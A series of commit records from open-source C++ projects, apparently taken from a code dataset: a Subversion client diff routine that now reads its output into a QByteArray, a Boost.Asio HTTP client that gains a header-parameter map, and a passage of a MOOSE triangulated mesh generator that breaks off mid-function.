useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library (in the file LGPL.txt); if not,\n * write to the Free Software Foundation, Inc., 51 Franklin St,\n * Fifth Floor, Boston, MA 02110-1301 USA\n *\n * This software consists of voluntary contributions made by many\n * individuals. For exact contribution history, see the revision\n * history and logs, available at http:\/\/rapidsvn.tigris.org\/.\n * ====================================================================\n *\/\n#if defined( _MSC_VER) && _MSC_VER <= 1200\n#pragma warning( disable: 4786 )\/\/ debug symbol truncated\n#endif\n\/\/ svncpp\n#include \"client_impl.hpp\"\n\n\/\/ Subversion api\n#include \"svn_client.h\"\n#include \"svn_path.h\"\n\n#include \"exception.hpp\"\n#include \"pool.hpp\"\n#include \"status.hpp\"\n#include \"svnqt_defines.hpp\"\n\nnamespace svn\n{\n \/**\n * a quick way to create error messages\n *\/\n static void\n fail (apr_pool_t *pool, apr_status_t status, const char *fmt, ...)\n {\n va_list ap;\n char *msg;\n svn_error_t * error;\n\n va_start (ap, fmt);\n msg = apr_pvsprintf (pool, fmt, ap);\n va_end (ap);\n\n error = svn_error_create (status, NULL, msg);\n throw ClientException (error);\n }\n\n \/**\n * closes and deletes temporary files that diff has been using\n *\/\n static void\n diffCleanup (apr_file_t * outfile, const char * outfileName,\n apr_file_t * errfile, const char * errfileName,\n apr_pool_t *pool)\n {\n if (outfile != NULL)\n apr_file_close (outfile);\n\n if (errfile != NULL)\n apr_file_close (errfile);\n\n if (outfileName != NULL)\n svn_error_clear (svn_io_remove_file (outfileName, pool));\n\n if (errfileName != NULL)\n svn_error_clear (svn_io_remove_file (errfileName, pool));\n }\n\n QByteArray\n Client_impl::diff (const Path & tmpPath, const Path & path,\n const Revision & revision1, const Revision & revision2,\n const bool recurse, const bool ignoreAncestry,\n const bool noDiffDeleted,const bool ignore_contenttype) throw (ClientException)\n {\n return diff(tmpPath,path,path,revision1,revision2,recurse,ignoreAncestry,noDiffDeleted,ignore_contenttype);\n }\n\n QByteArray\n Client_impl::diff (const Path & tmpPath, const Path & path1,const Path&path2,\n const Revision & revision1, const Revision & revision2,\n const bool recurse, const bool ignoreAncestry,\n const bool noDiffDeleted,const bool ignore_contenttype) throw (ClientException)\n {\n\n Pool pool;\n svn_error_t * error;\n apr_status_t status;\n apr_file_t * outfile = 0L;\n const char * outfileName = 0L;\n apr_file_t * errfile = 0L;\n const char * errfileName = 0L;\n apr_array_header_t * options;\n svn_stringbuf_t * stringbuf;\n bool working_copy_present = false;\n bool url_is_present = false;\n Revision r1,r2;\n r1 = revision1;\n r2 = revision2;\n\n if (svn_path_is_url(path1.cstr())) {\n url_is_present = true;\n } else {\n working_copy_present = true;\n }\n if (svn_path_is_url(path2.cstr())) {\n url_is_present = true;\n } else {\n working_copy_present = true;\n }\n\n if (revision1.revision()->kind==svn_opt_revision_unspecified && working_copy_present) {\n r1 = svn_opt_revision_base;\n }\n if (revision2.revision()->kind==svn_opt_revision_unspecified) {\n r2 = working_copy_present?svn_opt_revision_working : svn_opt_revision_head;\n }\n \/\/ svn_client_diff needs an options array, even if it is empty\n options = apr_array_make (pool, 0, 0);\n\n \/\/ svn_client_diff needs a temporary file to write diff output to\n error = svn_io_open_unique_file (&outfile, &outfileName,\n tmpPath.path().TOUTF8(),\n \".tmp\",\n FALSE, pool);\n\n if (error != NULL)\n {\n diffCleanup (outfile, outfileName, errfile, errfileName, pool);\n throw ClientException (error);\n }\n\n \/\/ and another one to write errors to\n error = svn_io_open_unique_file (&errfile, &errfileName,\n tmpPath.path().TOUTF8(), \".error.tmp\",\n FALSE, pool);\n\n if (error != NULL)\n {\n diffCleanup (outfile, outfileName, errfile, errfileName, pool);\n throw ClientException (error);\n }\n\n \/\/ run diff\n error = svn_client_diff2 (options,\n path1.cstr (), r1.revision (),\n path2.cstr (), r2.revision (),\n recurse, ignoreAncestry, noDiffDeleted, ignore_contenttype,\n outfile, errfile,\n *m_context,\n pool);\n\n if (error != NULL)\n {\n diffCleanup (outfile, outfileName, errfile, errfileName, pool);\n throw ClientException (error);\n }\n\n \/\/ then we reopen outfile for reading\n status = apr_file_close (outfile);\n if (status)\n {\n diffCleanup (outfile, outfileName, errfile, errfileName, pool);\n fail (pool, status, \"failed to close '%s'\", outfileName);\n }\n\n status = apr_file_open (&outfile, outfileName, APR_READ, APR_OS_DEFAULT, pool);\n if (status)\n {\n diffCleanup (outfile, outfileName, errfile, errfileName, pool);\n fail (pool, status, \"failed to open '%s'\", outfileName);\n }\n\n \/\/ now we can read the diff output from outfile and return that\n error = svn_stringbuf_from_aprfile (&stringbuf, outfile, pool);\n\n if (error != NULL)\n {\n diffCleanup (outfile, outfileName, errfile, errfileName, pool);\n throw ClientException (error);\n }\n\n diffCleanup (outfile, outfileName, errfile, errfileName, pool);\n#if QT_VERSION < 0x040000\n QByteArray res;\n \/\/\/ @todo check if realy dup or just assign!\n res.duplicate(stringbuf->data,stringbuf->len);\n#else\n QByteArray res( stringbuf->data, stringbuf->len );\n#endif\n return res;\n }\n}\n\n\/* -----------------------------------------------------------------\n * local variables:\n * eval: (load-file \"..\/..\/rapidsvn-dev.el\")\n * end:\n *\/\n<commit_msg>diff reads the result direct into QByteArray instead of copy it from string_buffer<commit_after>\/*\n * ====================================================================\n * Copyright (c) 2002-2005 The RapidSvn Group. All rights reserved.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library (in the file LGPL.txt); if not,\n * write to the Free Software Foundation, Inc., 51 Franklin St,\n * Fifth Floor, Boston, MA 02110-1301 USA\n *\n * This software consists of voluntary contributions made by many\n * individuals. For exact contribution history, see the revision\n * history and logs, available at http:\/\/rapidsvn.tigris.org\/.\n * ====================================================================\n *\/\n#if defined( _MSC_VER) && _MSC_VER <= 1200\n#pragma warning( disable: 4786 )\/\/ debug symbol truncated\n#endif\n\/\/ svncpp\n#include \"client_impl.hpp\"\n\n\/\/ Subversion api\n#include \"svn_client.h\"\n#include \"svn_path.h\"\n\n#include \"exception.hpp\"\n#include \"pool.hpp\"\n#include \"status.hpp\"\n#include \"svnqt_defines.hpp\"\n\n#include <qfile.h>\n\nnamespace svn\n{\n \/**\n * a quick way to create error messages\n *\/\n static void\n fail (apr_pool_t *pool, apr_status_t status, const char *fmt, ...)\n {\n va_list ap;\n char *msg;\n svn_error_t * error;\n\n va_start (ap, fmt);\n msg = apr_pvsprintf (pool, fmt, ap);\n va_end (ap);\n\n error = svn_error_create (status, NULL, msg);\n throw ClientException (error);\n }\n\n \/**\n * closes and deletes temporary files that diff has been using\n *\/\n static void\n diffCleanup (apr_file_t * outfile, const char * outfileName,\n apr_file_t * errfile, const char * errfileName,\n apr_pool_t *pool)\n {\n if (outfile != NULL)\n apr_file_close (outfile);\n\n if (errfile != NULL)\n apr_file_close (errfile);\n\n if (outfileName != NULL)\n svn_error_clear (svn_io_remove_file (outfileName, pool));\n\n if (errfileName != NULL)\n svn_error_clear (svn_io_remove_file (errfileName, pool));\n }\n\n QByteArray\n Client_impl::diff (const Path & tmpPath, const Path & path,\n const Revision & revision1, const Revision & revision2,\n const bool recurse, const bool ignoreAncestry,\n const bool noDiffDeleted,const bool ignore_contenttype) throw (ClientException)\n {\n return diff(tmpPath,path,path,revision1,revision2,recurse,ignoreAncestry,noDiffDeleted,ignore_contenttype);\n }\n\n QByteArray\n Client_impl::diff (const Path & tmpPath, const Path & path1,const Path&path2,\n const Revision & revision1, const Revision & revision2,\n const bool recurse, const bool ignoreAncestry,\n const bool noDiffDeleted,const bool ignore_contenttype) throw (ClientException)\n {\n\n Pool pool;\n svn_error_t * error;\n apr_status_t status;\n apr_file_t * outfile = 0L;\n const char * outfileName = 0L;\n apr_file_t * errfile = 0L;\n const char * errfileName = 0L;\n apr_array_header_t * options;\n bool working_copy_present = false;\n bool url_is_present = false;\n Revision r1,r2;\n r1 = revision1;\n r2 = revision2;\n\n if (svn_path_is_url(path1.cstr())) {\n url_is_present = true;\n } else {\n working_copy_present = true;\n }\n if (svn_path_is_url(path2.cstr())) {\n url_is_present = true;\n } else {\n working_copy_present = true;\n }\n\n if (revision1.revision()->kind==svn_opt_revision_unspecified && working_copy_present) {\n r1 = svn_opt_revision_base;\n }\n if (revision2.revision()->kind==svn_opt_revision_unspecified) {\n r2 = working_copy_present?svn_opt_revision_working : svn_opt_revision_head;\n }\n \/\/ svn_client_diff needs an options array, even if it is empty\n options = apr_array_make (pool, 0, 0);\n\n \/\/ svn_client_diff needs a temporary file to write diff output to\n error = svn_io_open_unique_file (&outfile, &outfileName,\n tmpPath.path().TOUTF8(),\n \".tmp\",\n FALSE, pool);\n\n if (error != NULL)\n {\n diffCleanup (outfile, outfileName, errfile, errfileName, pool);\n throw ClientException (error);\n }\n\n \/\/ and another one to write errors to\n error = svn_io_open_unique_file (&errfile, &errfileName,\n tmpPath.path().TOUTF8(), \".error.tmp\",\n FALSE, pool);\n\n if (error != NULL)\n {\n diffCleanup (outfile, outfileName, errfile, errfileName, pool);\n throw ClientException (error);\n }\n\n \/\/ run diff\n error = svn_client_diff2 (options,\n path1.cstr (), r1.revision (),\n path2.cstr (), r2.revision (),\n recurse, ignoreAncestry, noDiffDeleted, ignore_contenttype,\n outfile, errfile,\n *m_context,\n pool);\n\n if (error != NULL)\n {\n diffCleanup (outfile, outfileName, errfile, errfileName, pool);\n throw ClientException (error);\n }\n\n status = apr_file_close (outfile);\n if (status)\n {\n diffCleanup (outfile, outfileName, errfile, errfileName, pool);\n fail (pool, status, \"failed to close '%s'\", outfileName);\n }\n\n QFile fi(outfileName);\n#if QT_VERSION < 0x040000\n if (!fi.open(IO_ReadOnly|IO_Raw)) {\n#else\n if (!fi.open(QIODevice::IO_ReadOnly)) {\n#endif\n diffCleanup (outfile, outfileName, errfile, errfileName, pool);\n fail(pool,0,fi.errorString()+\"'%s'\",outfileName);\n }\n\n QByteArray res = fi.readAll();\n fi.close();\n\n diffCleanup (outfile, outfileName, errfile, errfileName, pool);\n return res;\n }\n}\n\n\/* -----------------------------------------------------------------\n * local variables:\n * eval: (load-file \"..\/..\/rapidsvn-dev.el\")\n * end:\n *\/\n<|endoftext|>"} {"text":"<commit_before>#ifndef CLIENT_WS_HPP\n#define\tCLIENT_WS_HPP\n\n#include <boost\/asio.hpp>\n\n#include <unordered_map>\n#include <iostream>\n#include <regex>\n#include <random>\n\nnamespace SimpleWeb {\n template <class socket_type>\n class ClientBase {\n public:\n class Response {\n friend class ClientBase<socket_type>;\n \n public:\n std::string http_version, status_code;\n\n std::istream content;\n\n std::unordered_map<std::string, std::string> header;\n \n private:\n boost::asio::streambuf content_buffer;\n \n Response(): content(&content_buffer) {};\n };\n \n \/\/TODO add header parameters\n std::shared_ptr<Response> request(const std::string& request_type, const std::string& path=\"\/\") {\n std::stringstream empty_ss;\n return request(request_type, path, empty_ss);\n }\n \n std::shared_ptr<Response> request(const std::string& request_type, const std::string& path, std::ostream& content) {\n std::string corrected_path=path;\n if(corrected_path==\"\")\n corrected_path=\"\/\";\n \n content.seekp(0, std::ios::end);\n size_t content_length=content.tellp();\n content.seekp(0, std::ios::beg);\n \n boost::asio::streambuf write_buffer;\n std::ostream write_stream(&write_buffer);\n write_stream << request_type << \" \" << corrected_path << \" HTTP\/1.1\\r\\n\";\n write_stream << \"Host: \" << host << \"\\r\\n\";\n if(content_length>0)\n write_stream << \"Content-Length: \" << std::to_string(content_length) << \"\\r\\n\";\n write_stream << \"\\r\\n\";\n if(content_length>0)\n write_stream << content.rdbuf();\n \n std::shared_ptr<Response> response(new Response());\n \n try {\n connect();\n \n boost::asio::write(*socket, write_buffer);\n\n size_t bytes_transferred = boost::asio::read_until(*socket, response->content_buffer, \"\\r\\n\\r\\n\");\n\n size_t num_additional_bytes=response->content_buffer.size()-bytes_transferred;\n\n parse_response_header(response, response->content);\n \n if(response->header.count(\"Content-Length\")>0) {\n boost::asio::read(*socket, response->content_buffer, \n boost::asio::transfer_exactly(stoull(response->header[\"Content-Length\"])-num_additional_bytes));\n }\n else if(response->header.count(\"Transfer-Encoding\")>0 && response->header[\"Transfer-Encoding\"]==\"chunked\") {\n boost::asio::streambuf streambuf;\n std::ostream content(&streambuf);\n \n size_t length;\n std::string buffer;\n do {\n size_t bytes_transferred = boost::asio::read_until(*socket, response->content_buffer, \"\\r\\n\");\n std::string line;\n getline(response->content, line);\n bytes_transferred-=line.size()+1;\n line.pop_back();\n length=stoull(line, 0, 16);\n\n size_t num_additional_bytes=response->content_buffer.size()-bytes_transferred;\n \n if((2+length)>num_additional_bytes) {\n boost::asio::read(*socket, response->content_buffer, \n boost::asio::transfer_exactly(2+length-num_additional_bytes));\n }\n \n buffer.resize(length);\n response->content.read(&buffer[0], length);\n content.write(&buffer[0], length);\n\n \/\/Remove \"\\r\\n\"\n response->content.get();\n response->content.get();\n } while(length>0);\n \n std::ostream response_content_output_stream(&response->content_buffer);\n response_content_output_stream << content.rdbuf();\n }\n }\n catch(const std::exception& e) {\n socket_error=true;\n throw std::invalid_argument(e.what());\n }\n \n return response;\n }\n \n protected:\n boost::asio::io_service asio_io_service;\n boost::asio::ip::tcp::endpoint asio_endpoint;\n boost::asio::ip::tcp::resolver asio_resolver;\n \n std::shared_ptr<socket_type> socket;\n bool socket_error;\n \n std::string host;\n unsigned short port;\n \n ClientBase(const std::string& host_port, unsigned short default_port) : \n asio_resolver(asio_io_service), socket_error(false) {\n std::regex e(\"^([^:\/]+):?([0-9]*)$\");\n\n std::smatch sm;\n\n if(std::regex_match(host_port, sm, e)) {\n host=sm[1];\n port=default_port;\n if(sm[2]!=\"\")\n port=(unsigned short)std::stoul(sm[2]);\n asio_endpoint=boost::asio::ip::tcp::endpoint(boost::asio::ip::tcp::v4(), port);\n }\n else {\n throw std::invalid_argument(\"Error parsing host_port\");\n }\n }\n \n virtual void connect()=0;\n \n void parse_response_header(std::shared_ptr<Response> response, std::istream& stream) const { \n std::smatch sm;\n\n \/\/Parse the first line\n std::string line;\n getline(stream, line);\n line.pop_back();\n\n std::regex e(\"^HTTP\/([^ ]*) (.*)$\");\n if(std::regex_match(line, sm, e)) {\n response->http_version=sm[1];\n response->status_code=sm[2];\n \n e=\"^([^:]*): ?(.*)$\";\n \/\/Parse the rest of the header\n bool matched;\n do {\n getline(stream, line);\n line.pop_back();\n matched=std::regex_match(line, sm, e);\n if(matched) {\n response->header[sm[1]]=sm[2];\n }\n\n } while(matched==true);\n }\n }\n };\n \n template<class socket_type>\n class Client : public ClientBase<socket_type> {};\n \n typedef boost::asio::ip::tcp::socket HTTP;\n \n template<>\n class Client<HTTP> : public ClientBase<HTTP> {\n public:\n Client(const std::string& server_port_path) : ClientBase<HTTP>::ClientBase(server_port_path, 80) {\n socket=std::make_shared<HTTP>(asio_io_service);\n };\n \n private:\n void connect() {\n if(socket_error || !socket->is_open()) {\n boost::asio::ip::tcp::resolver::query query(host, std::to_string(port));\n boost::asio::connect(*socket, asio_resolver.resolve(query));\n socket_error=false;\n }\n }\n };\n}\n\n#endif\t\/* CLIENT_WS_HPP *\/<commit_msg>added header parameter to Client::request<commit_after>#ifndef CLIENT_WS_HPP\n#define\tCLIENT_WS_HPP\n\n#include <boost\/asio.hpp>\n\n#include <unordered_map>\n#include <map>\n#include <iostream>\n#include <regex>\n#include <random>\n\nnamespace SimpleWeb {\n template <class socket_type>\n class ClientBase {\n public:\n class Response {\n friend class ClientBase<socket_type>;\n \n public:\n std::string http_version, status_code;\n\n std::istream content;\n\n std::unordered_map<std::string, std::string> header;\n \n private:\n boost::asio::streambuf content_buffer;\n \n Response(): content(&content_buffer) {};\n };\n \n \/\/TODO add header parameters\n std::shared_ptr<Response> request(const std::string& request_type, const std::string& path=\"\/\", \n const std::map<std::string, std::string>& header={{}}) {\n std::stringstream empty_ss;\n return request(request_type, path, empty_ss, header);\n }\n \n std::shared_ptr<Response> request(const std::string& request_type, const std::string& path, std::ostream& content, \n const std::map<std::string, std::string>& header={{}}) {\n std::string corrected_path=path;\n if(corrected_path==\"\")\n corrected_path=\"\/\";\n \n content.seekp(0, std::ios::end);\n size_t content_length=content.tellp();\n content.seekp(0, std::ios::beg);\n \n boost::asio::streambuf write_buffer;\n std::ostream write_stream(&write_buffer);\n write_stream << request_type << \" \" << corrected_path << \" HTTP\/1.1\\r\\n\";\n write_stream << \"Host: \" << host << \"\\r\\n\";\n for(auto& h: header) {\n write_stream << h.first << \": \" << h.second << \"\\r\\n\";\n }\n if(content_length>0)\n write_stream << \"Content-Length: \" << std::to_string(content_length) << \"\\r\\n\";\n write_stream << \"\\r\\n\";\n if(content_length>0)\n write_stream << content.rdbuf();\n \n std::shared_ptr<Response> response(new Response());\n \n try {\n connect();\n \n boost::asio::write(*socket, write_buffer);\n\n size_t bytes_transferred = boost::asio::read_until(*socket, response->content_buffer, \"\\r\\n\\r\\n\");\n\n size_t num_additional_bytes=response->content_buffer.size()-bytes_transferred;\n\n parse_response_header(response, response->content);\n \n if(response->header.count(\"Content-Length\")>0) {\n boost::asio::read(*socket, response->content_buffer, \n boost::asio::transfer_exactly(stoull(response->header[\"Content-Length\"])-num_additional_bytes));\n }\n else if(response->header.count(\"Transfer-Encoding\")>0 && response->header[\"Transfer-Encoding\"]==\"chunked\") {\n boost::asio::streambuf streambuf;\n std::ostream content(&streambuf);\n \n size_t length;\n std::string buffer;\n do {\n size_t bytes_transferred = boost::asio::read_until(*socket, response->content_buffer, \"\\r\\n\");\n std::string line;\n getline(response->content, line);\n bytes_transferred-=line.size()+1;\n line.pop_back();\n length=stoull(line, 0, 16);\n\n size_t num_additional_bytes=response->content_buffer.size()-bytes_transferred;\n \n if((2+length)>num_additional_bytes) {\n boost::asio::read(*socket, response->content_buffer, \n boost::asio::transfer_exactly(2+length-num_additional_bytes));\n }\n \n buffer.resize(length);\n response->content.read(&buffer[0], length);\n content.write(&buffer[0], length);\n\n \/\/Remove \"\\r\\n\"\n response->content.get();\n response->content.get();\n } while(length>0);\n \n std::ostream response_content_output_stream(&response->content_buffer);\n response_content_output_stream << content.rdbuf();\n }\n }\n catch(const std::exception& e) {\n socket_error=true;\n throw std::invalid_argument(e.what());\n }\n \n return response;\n }\n \n protected:\n boost::asio::io_service asio_io_service;\n boost::asio::ip::tcp::endpoint asio_endpoint;\n boost::asio::ip::tcp::resolver asio_resolver;\n \n std::shared_ptr<socket_type> socket;\n bool socket_error;\n \n std::string host;\n unsigned short port;\n \n ClientBase(const std::string& host_port, unsigned short default_port) : \n asio_resolver(asio_io_service), socket_error(false) {\n std::regex e(\"^([^:\/]+):?([0-9]*)$\");\n\n std::smatch sm;\n\n if(std::regex_match(host_port, sm, e)) {\n host=sm[1];\n port=default_port;\n if(sm[2]!=\"\")\n port=(unsigned short)std::stoul(sm[2]);\n asio_endpoint=boost::asio::ip::tcp::endpoint(boost::asio::ip::tcp::v4(), port);\n }\n else {\n throw std::invalid_argument(\"Error parsing host_port\");\n }\n }\n \n virtual void connect()=0;\n \n void parse_response_header(std::shared_ptr<Response> response, std::istream& stream) const { \n std::smatch sm;\n\n \/\/Parse the first line\n std::string line;\n getline(stream, line);\n line.pop_back();\n\n std::regex e(\"^HTTP\/([^ ]*) (.*)$\");\n if(std::regex_match(line, sm, e)) {\n response->http_version=sm[1];\n response->status_code=sm[2];\n \n e=\"^([^:]*): ?(.*)$\";\n \/\/Parse the rest of the header\n bool matched;\n do {\n getline(stream, line);\n line.pop_back();\n matched=std::regex_match(line, sm, e);\n if(matched) {\n response->header[sm[1]]=sm[2];\n }\n\n } while(matched==true);\n }\n }\n };\n \n template<class socket_type>\n class Client : public ClientBase<socket_type> {};\n \n typedef boost::asio::ip::tcp::socket HTTP;\n \n template<>\n class Client<HTTP> : public ClientBase<HTTP> {\n public:\n Client(const std::string& server_port_path) : ClientBase<HTTP>::ClientBase(server_port_path, 80) {\n socket=std::make_shared<HTTP>(asio_io_service);\n };\n \n private:\n void connect() {\n if(socket_error || !socket->is_open()) {\n boost::asio::ip::tcp::resolver::query query(host, std::to_string(port));\n boost::asio::connect(*socket, asio_resolver.resolve(query));\n socket_error=false;\n }\n }\n };\n}\n\n#endif\t\/* CLIENT_WS_HPP *\/<|endoftext|>"} {"text":"<commit_before>\/\/* This file is part of the MOOSE framework\n\/\/* https:\/\/www.mooseframework.org\n\/\/*\n\/\/* All rights reserved, see COPYRIGHT for full restrictions\n\/\/* https:\/\/github.com\/idaholab\/moose\/blob\/master\/COPYRIGHT\n\/\/*\n\/\/* Licensed under LGPL 2.1, please see LICENSE for details\n\/\/* https:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n\n#include \"TriangulatedMeshGenerator.h\"\n\n\/\/ poly2tri triangulation library\n#include \"poly2tri.h\"\n\nregisterMooseObject(\"ReactorApp\", TriangulatedMeshGenerator);\n\nInputParameters\nTriangulatedMeshGenerator::validParams()\n{\n InputParameters params = MeshGenerator::validParams();\n\n params.addRangeCheckedParam<SubdomainID>(\n \"subdomain_id\",\n \"subdomain_id>=0\",\n \"The subdomain ID given to the TRI3 elements in the triangulation.\");\n params.addRequiredParam<MeshGeneratorName>(\n \"inner_boundary_mesh\",\n \"The mesh to use for the inner boundary of the triangulation.\");\n params.addRangeCheckedParam<boundary_id_type>(\n \"inner_boundary_id\",\n \"inner_boundary_id>=0\",\n \"The boundary ID of the inner mesh outer boundary.\");\n params.addParam<std::string>(\n \"inner_boundary_name\",\n \"The boundary name of the inner mesh outer boundary.\");\n params.addRequiredRangeCheckedParam<Real>(\n \"outer_circle_radius\",\n \"outer_circle_radius>0\",\n \"Radius of outer circle boundary.\");\n params.addRequiredRangeCheckedParam<unsigned int>(\n \"outer_circle_num_segments\",\n \"outer_circle_num_segments>0\",\n \"Number of radial segments to subdivide outer circle boundary.\");\n params.addRangeCheckedParam<boundary_id_type>(\n \"outer_boundary_id\",\n \"outer_boundary_id>=0\",\n \"The boundary id for the generated mesh outer boundary.\");\n \/\/ params.addParam<std::string>(\n \/\/ \"outer_boundary_name\",\n \/\/ \"The boundary name of the generated mesh outer boundary.\");\n params.addParam<std::vector<Real>>(\n \"extra_circle_radii\",\n \"Radii of extra Steiner point circles.\");\n params.addParam<std::vector<unsigned int>>(\n \"extra_circle_num_segments\",\n \"Number of segments for extra Steiner point circles.\");\n params.addClassDescription(\n \"This TriangulatedMeshGenerator object is designed to generate \"\n \"a triangulated mesh between a generated outer circle boundary \"\n \"and a provided inner mesh.\");\n\n return params;\n}\n\nTriangulatedMeshGenerator::TriangulatedMeshGenerator(const InputParameters & parameters)\n : MeshGenerator(parameters),\n _tri_subdomain_id(isParamValid(\"subdomain_id\") ? getParam<SubdomainID>(\"subdomain_id\") : 0),\n _inner_boundary_mesh(getMesh(\"inner_boundary_mesh\")),\n _outer_circle_radius(getParam<Real>(\"outer_circle_radius\")),\n _outer_circle_num_segments(getParam<unsigned int>(\"outer_circle_num_segments\")),\n _outer_boundary_id(isParamValid(\"outer_boundary_id\") ? getParam<boundary_id_type>(\"outer_boundary_id\") : 0),\n \/\/ _outer_boundary_name(isParamValid(\"outer_boundary_name\") ? getParam<std::string>(\"outer_boundary_name\") : std::string(\"outside\")),\n _extra_circle_radii(getParam<std::vector<Real>>(\"extra_circle_radii\")),\n _extra_circle_num_segments(getParam<std::vector<unsigned int>>(\"extra_circle_num_segments\"))\n{\n \/\/ confirm either id or name (exclusive or) for inner mesh boundary is provided\n if ((!isParamValid(\"inner_boundary_id\") && !isParamValid(\"inner_boundary_name\")) ||\n (isParamValid(\"inner_boundary_id\") && isParamValid(\"inner_boundary_name\"))) {\n paramError(\n \"inner_boundary_id\",\n \"Either 'inner_boundary_id' or 'inner_boundary_name' must be provided, but not both.\");\n }\n\n \/\/ confirm Steiner inputs are equal length\n if (_extra_circle_radii.size() != _extra_circle_num_segments.size()) {\n paramError(\n \"extra_circle_num_segments\",\n \"The size of 'extra_circle_num_segments' must be equal to the size of 'extra_circle_radii'.\");\n }\n}\n\nstd::unique_ptr<MeshBase>\nTriangulatedMeshGenerator::generate()\n{\n \/\/\n \/\/ Set up mesh based on input inner mesh\n \/\/\n\n std::unique_ptr<MeshBase> mesh = std::move(_inner_boundary_mesh);\n BoundaryInfo & boundary_info = mesh->get_boundary_info();\n\n \/\/ set inner boundary id based on give input\n if(isParamValid(\"inner_boundary_id\")) {\n _inner_boundary_id = getParam<boundary_id_type>(\"inner_boundary_id\");\n }\n if(isParamValid(\"inner_boundary_name\")) {\n _inner_boundary_id = boundary_info.get_id_by_name(getParam<std::string>(\"inner_boundary_name\"));\n }\n\n \/\/ build nodesets and sidesets\n boundary_info.build_node_list_from_side_list();\n boundary_info.build_side_list_from_node_list();\n\n \/\/\n \/\/ extract boundary nodes from input mesh inner boundary\n \/\/ poly2tri requires input boundary nodes be sorted in connected order\n \/\/\n\n std::vector<Node*> inner_boundary_nodes;\n _create_sorted_boundary_node_list(mesh, inner_boundary_nodes);\n\n \/\/\n \/\/ C2T storage\n \/\/\n\n \/\/\/ Polylines\n std::vector<p2t::Point*> outer_polyline;\n std::vector<p2t::Point*> inner_polyline;\n std::vector<p2t::Point*> steiner_points;\n\n \/\/ store association map for reference\n std::map<p2t::Point*, Node*> point_node_map;\n\n \/\/\n \/\/ Inner P2T boundary; extract from existing mesh\n \/\/\n\n \/\/ POLYLINE NEEDS TO BE DIRECTED\n\n \/\/ DEBUG\n \/\/ std::cout << \"Created Inner Polyline\" << std::endl;\n\n for (Node* node : inner_boundary_nodes) {\n \/\/ extract (x, y) coords\n Real x = (*node)(0);\n Real y = (*node)(1);\n \/\/ create Point\n p2t::Point *point = new p2t::Point(x, y);\n \/\/ add to inner boundary list\n inner_polyline.push_back(point);\n \/\/ add to association map\n point_node_map[point] = node;\n\n \/\/ DEBUG\n \/\/ std::cout << *node << std::endl;\n }\n\n \/\/\n \/\/ Outer P2T boundary; create circle from input parameters\n \/\/\n\n \/\/ DEBUG\n \/\/ std::cout << \"Creating Outer Polyline\" << std::endl;\n\n \/\/ radial spacing\n Real d_theta = 2.0 * M_PI \/ _outer_circle_num_segments;\n\n for (unsigned int i = 0; i < _outer_circle_num_segments; i++) {\n \/\/ rotation angle\n Real theta = i * d_theta;\n \/\/ calculate (x, y) coords\n Real x = _outer_circle_radius * std::cos(theta);\n Real y = _outer_circle_radius * std::sin(theta);\n\n \/\/ create Point\n p2t::Point *point = new p2t::Point(x, y);\n \/\/ add to outer boundary list\n outer_polyline.push_back(point);\n \/\/ create Node and add to mesh\n Node *node = mesh->add_point(Point(x, y, 0.0));\n \/\/ add to association map\n point_node_map[point] = node;\n\n \/\/ DEBUG\n \/\/ std::cout << *node << std::endl;\n\n }\n\n \/\/\n \/\/ Additional Steiner points; create additional circles of Steiner points between inner and outer boundaries.\n \/\/\n\n \/\/ DEBUG\n \/\/ std::cout << \"Creating Steiner points\" << std::endl;\n\n for (std::vector<unsigned int>::size_type idx = 0; idx < _extra_circle_radii.size(); idx++) {\n \/\/ extract Steiner point circle parameters\n Real num_segments = _extra_circle_num_segments[idx];\n Real radius = _extra_circle_radii[idx];\n\n \/\/ radial spacing\n d_theta = 2.0 * M_PI \/ num_segments;\n\n for (unsigned int i = 0; i < num_segments; i++) {\n \/\/ rotation angle\n Real theta = i * d_theta;\n \/\/ calculate (x, y) coords\n Real x = radius * std::cos(theta);\n Real y = radius * std::sin(theta);\n\n \/\/ create Point\n p2t::Point *point = new p2t::Point(x, y);\n \/\/ add to Steiner point list\n steiner_points.push_back(point);\n \/\/ create Node and add to mesh\n Node *node = mesh->add_point(Point(x, y, 0.0));\n \/\/ add to association map\n point_node_map[point] = node;\n\n \/\/ DEBUG\n \/\/ std::cout << *node << std::endl;\n\n }\n }\n\n \/\/\n \/\/ Create P2T CDT and add primary (outer) polyline\n \/\/ NOTE: polyline must be a simple polygon. The polyline's points constitute constrained edges. No repeat points!!!\n \/\/\n\n p2t::CDT* cdt = new p2t::CDT(outer_polyline);\n\n \/\/ Add inner boundary\n cdt->AddHole(inner_polyline);\n\n \/\/ Add Steiner points\n for (const auto& point : steiner_points) {\n cdt->AddPoint(point);\n }\n\n \/\/ DEBUG\n \/\/ std::cout << \"Triangulating\" << std::endl;\n\n \/\/ Triangulate!\n cdt->Triangulate();\n\n \/\/ DEBUG\n \/\/ std::cout << \"Triangulating complete\" << std::endl;\n\n\n \/\/\n \/\/ Translate triangulated C2T points\/triangles to libMesh nodes\/Tri3s\n \/\/\n\n \/\/ Extract triangle list from triangulation\n std::vector<p2t::Triangle*> triangles = cdt->GetTriangles();\n\n \/\/ process each P2T triangle into libMesh Tri3\n for (p2t::Triangle* triangle : triangles) {\n\n \/\/ create Tri3 element\n Tri3* tri_elem = new Tri3();\n\n \/\/ process each point on triangle\n for (const int i : std::vector<int>{0,1,2}) {\n \/\/ extract p2t::point from triangle\n p2t::Point* point = triangle->GetPoint(i);\n\n \/\/ check if node has been created for point\n \/\/ if not, create and add to map\n if (point_node_map.find(point) == point_node_map.end()) {\n point_node_map[point] = mesh->add_point(Point(point->x, point->y, 0.0));\n }\n\n \/\/ retrieve node and add to element\n tri_elem->set_node(i) = point_node_map[point];\n }\n\n \/\/ set element subdomain id\n tri_elem->subdomain_id() = _tri_subdomain_id;\n\n \/\/ add completed element to mesh\n mesh->add_elem(tri_elem);\n 